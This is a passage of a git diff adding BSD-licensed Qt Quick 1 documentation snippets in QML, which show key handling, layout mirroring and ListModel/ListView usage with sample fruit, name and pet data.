+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ width: 400; height: 400
+
+//! [key item]
+Item {
+ anchors.fill: parent
+ focus: true
+ Keys.onLeftPressed: console.log("move left")
+}
+//! [key item]
+
+Text {
+ anchors.fill: parent
+ text: "Press a cursor key"
+ horizontalAlignment: Text.AlignHCenter
+ verticalAlignment: Text.AlignVCenter
+}
+}
diff --git a/doc/src/snippets/qtquick1/keys/keys-pressed.qml b/doc/src/snippets/qtquick1/keys/keys-pressed.qml
new file mode 100644
index 0000000000..9f31ab7023
--- /dev/null
+++ b/doc/src/snippets/qtquick1/keys/keys-pressed.qml
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ width: 400; height: 400
+
+//! [key item]
+Item {
+ anchors.fill: parent
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_Left) {
+ console.log("move left");
+ event.accepted = true;
+ }
+ }
+}
+//! [key item]
+
+Text {
+ anchors.fill: parent
+ text: "Press a cursor key"
+ horizontalAlignment: Text.AlignHCenter
+ verticalAlignment: Text.AlignVCenter
+}
+}
diff --git a/doc/src/snippets/qtquick1/layoutmirroring.qml b/doc/src/snippets/qtquick1/layoutmirroring.qml
new file mode 100644
index 0000000000..617f39dbcb
--- /dev/null
+++ b/doc/src/snippets/qtquick1/layoutmirroring.qml
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.1
+
+Rectangle {
+ LayoutMirroring.enabled: true
+ LayoutMirroring.childrenInherit: true
+
+ width: 300; height: 50
+ color: "yellow"
+ border.width: 1
+
+ Row {
+ anchors { left: parent.left; margins: 5 }
+ y: 5; spacing: 5
+
+ Repeater {
+ model: 5
+
+ Rectangle {
+ color: "red"
+ opacity: (5 - index) / 5
+ width: 40; height: 40
+
+ Text {
+ text: index + 1
+ anchors.centerIn: parent
+ }
+ }
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/listmodel-modify.qml b/doc/src/snippets/qtquick1/listmodel-modify.qml
new file mode 100644
index 0000000000..accac935d3
--- /dev/null
+++ b/doc/src/snippets/qtquick1/listmodel-modify.qml
@@ -0,0 +1,96 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+
+ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ attributes: [
+ ListElement { description: "Core" },
+ ListElement { description: "Deciduous" }
+ ]
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ attributes: [
+ ListElement { description: "Citrus" }
+ ]
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Seedless" }
+ ]
+ }
+}
+
+//![delegate]
+ Component {
+ id: fruitDelegate
+ Item {
+ width: 200; height: 50
+ Text { text: name }
+ Text { text: '$' + cost; anchors.right: parent.right }
+
+ // Double the price when clicked.
+ MouseArea {
+ anchors.fill: parent
+ onClicked: fruitModel.setProperty(index, "cost", cost * 2)
+ }
+ }
+ }
+//![delegate]
+
+ListView {
+ width: 200; height: 200
+ model: fruitModel
+ delegate: fruitDelegate
+}
+
+}
diff --git a/doc/src/snippets/qtquick1/listmodel-nested.qml b/doc/src/snippets/qtquick1/listmodel-nested.qml
new file mode 100644
index 0000000000..227ba21da5
--- /dev/null
+++ b/doc/src/snippets/qtquick1/listmodel-nested.qml
@@ -0,0 +1,102 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+
+
+//![model]
+ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ attributes: [
+ ListElement { description: "Core" },
+ ListElement { description: "Deciduous" }
+ ]
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ attributes: [
+ ListElement { description: "Citrus" }
+ ]
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Seedless" }
+ ]
+ }
+}
+//![model]
+
+//![delegate]
+Component {
+ id: fruitDelegate
+ Item {
+ width: 200; height: 50
+ Text { id: nameField; text: name }
+ Text { text: '$' + cost; anchors.left: nameField.right }
+ Row {
+ anchors.top: nameField.bottom
+ spacing: 5
+ Text { text: "Attributes:" }
+ Repeater {
+ model: attributes
+ Text { text: description }
+ }
+ }
+ }
+}
+//![delegate]
+
+ListView {
+ width: 200; height: 200
+ model: fruitModel
+ delegate: fruitDelegate
+}
+
+}
diff --git a/doc/src/snippets/qtquick1/listmodel-simple.qml b/doc/src/snippets/qtquick1/listmodel-simple.qml
new file mode 100644
index 0000000000..5120e79d35
--- /dev/null
+++ b/doc/src/snippets/qtquick1/listmodel-simple.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+
+ ListModel {
+ id: fruitModel
+//![0]
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ }
+//![1]
+ }
+
+ Component {
+ id: fruitDelegate
+ Row {
+ spacing: 10
+ Text { text: name }
+ Text { text: '$' + cost }
+ }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: fruitModel
+ delegate: fruitDelegate
+ }
+}
+//![1]
diff --git a/doc/src/snippets/qtquick1/listmodel.qml b/doc/src/snippets/qtquick1/listmodel.qml
new file mode 100644
index 0000000000..4b717ff91f
--- /dev/null
+++ b/doc/src/snippets/qtquick1/listmodel.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/listview-decorations.qml b/doc/src/snippets/qtquick1/listview-decorations.qml
new file mode 100644
index 0000000000..9ba9b70d2e
--- /dev/null
+++ b/doc/src/snippets/qtquick1/listview-decorations.qml
@@ -0,0 +1,111 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 550; height: 220; color: "white"
+
+//! [model]
+ListModel {
+ id: nameModel
+ ListElement { name: "Alice" }
+ ListElement { name: "Bob" }
+ ListElement { name: "Jane" }
+ ListElement { name: "Harry" }
+ ListElement { name: "Wendy" }
+}
+//! [model]
+
+//! [delegate]
+Component {
+ id: nameDelegate
+ Text {
+ text: name;
+ font.pixelSize: 24
+ }
+}
+//! [delegate]
+
+//! [decorations]
+ListView {
+ anchors.fill: parent
+ clip: true
+ model: nameModel
+ delegate: nameDelegate
+ header: bannercomponent
+ footer: Rectangle {
+ width: parent.width; height: 30;
+ gradient: clubcolors
+ }
+ highlight: Rectangle {
+ width: parent.width
+ color: "lightgray"
+ }
+}
+
+Component { //instantiated when header is processed
+ id: bannercomponent
+ Rectangle {
+ id: banner
+ width: parent.width; height: 50
+ gradient: clubcolors
+ border {color: "#9EDDF2"; width: 2}
+ Text {
+ anchors.centerIn: parent
+ text: "Club Members"
+ font.pixelSize: 32
+ }
+ }
+}
+Gradient {
+ id: clubcolors
+ GradientStop { position: 0.0; color: "#8EE2FE"}
+ GradientStop { position: 0.66; color: "#7ED2EE"}
+}
+//! [decorations]
+
+//! [parent end]
+}
+//! [parent end]
+//! [document]
diff --git a/doc/src/snippets/qtquick1/listview-sections.qml b/doc/src/snippets/qtquick1/listview-sections.qml
new file mode 100644
index 0000000000..74c96dd365
--- /dev/null
+++ b/doc/src/snippets/qtquick1/listview-sections.qml
@@ -0,0 +1,101 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 150; height: 300; color: "white"
+
+//! [model]
+ListModel {
+ id: nameModel
+ ListElement { name: "Alice"; team: "Crypto" }
+ ListElement { name: "Bob"; team: "Crypto" }
+ ListElement { name: "Jane"; team: "QA" }
+ ListElement { name: "Victor"; team: "QA" }
+ ListElement { name: "Wendy"; team: "Graphics" }
+}
+//! [model]
+
+//! [delegate]
+Component {
+ id: nameDelegate
+ Text {
+ text: name;
+ font.pixelSize: 24
+ anchors.left: parent.left
+ anchors.leftMargin: 2
+ }
+}
+//! [delegate]
+
+//! [section]
+ListView {
+ anchors.fill: parent
+ model: nameModel
+ delegate: nameDelegate
+ focus: true
+ highlight: Rectangle {
+ color: "lightblue"
+ width: parent.width
+ }
+ section {
+ property: "team"
+ criteria: ViewSection.FullString
+ delegate: Rectangle {
+ color: "#b0dfb0"
+ width: parent.width
+ height: childrenRect.height + 4
+ Text { anchors.horizontalCenter: parent.horizontalCenter
+ font.pixelSize: 16
+ font.bold: true
+ text: section
+ }
+ }
+ }
+}
+//! [section]
+
+//! [parent end]
+}
+//! [parent end]
+//! [document]
diff --git a/doc/src/snippets/qtquick1/listview.qml b/doc/src/snippets/qtquick1/listview.qml
new file mode 100644
index 0000000000..081d2b095a
--- /dev/null
+++ b/doc/src/snippets/qtquick1/listview.qml
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 175; height: 175; color: "white"
+
+//! [model]
+ListModel {
+ id: petlist
+ ListElement { type: "Cat" }
+ ListElement { type: "Dog" }
+ ListElement { type: "Mouse" }
+ ListElement { type: "Rabbit" }
+ ListElement { type: "Horse" }
+}
+//! [model]
+
+//! [delegate]
+Component {
+ id: petdelegate
+ Text {
+ id: label
+ font.pixelSize: 24
+ text: if (index == 0)
+ label.text = type + " (default)"
+ else
+ text: type
+ }
+}
+//! [delegate]
+
+//! [view]
+ListView {
+ id: view
+ anchors.fill: parent
+
+ model: petlist
+ delegate: petdelegate
+}
+//! [view]
+
+//! [parent end]
+}
+//! [parent end]
+//! [document]
diff --git a/doc/src/snippets/qtquick1/listview/ContactModel.qml b/doc/src/snippets/qtquick1/listview/ContactModel.qml
new file mode 100644
index 0000000000..0fbeb2b1c7
--- /dev/null
+++ b/doc/src/snippets/qtquick1/listview/ContactModel.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
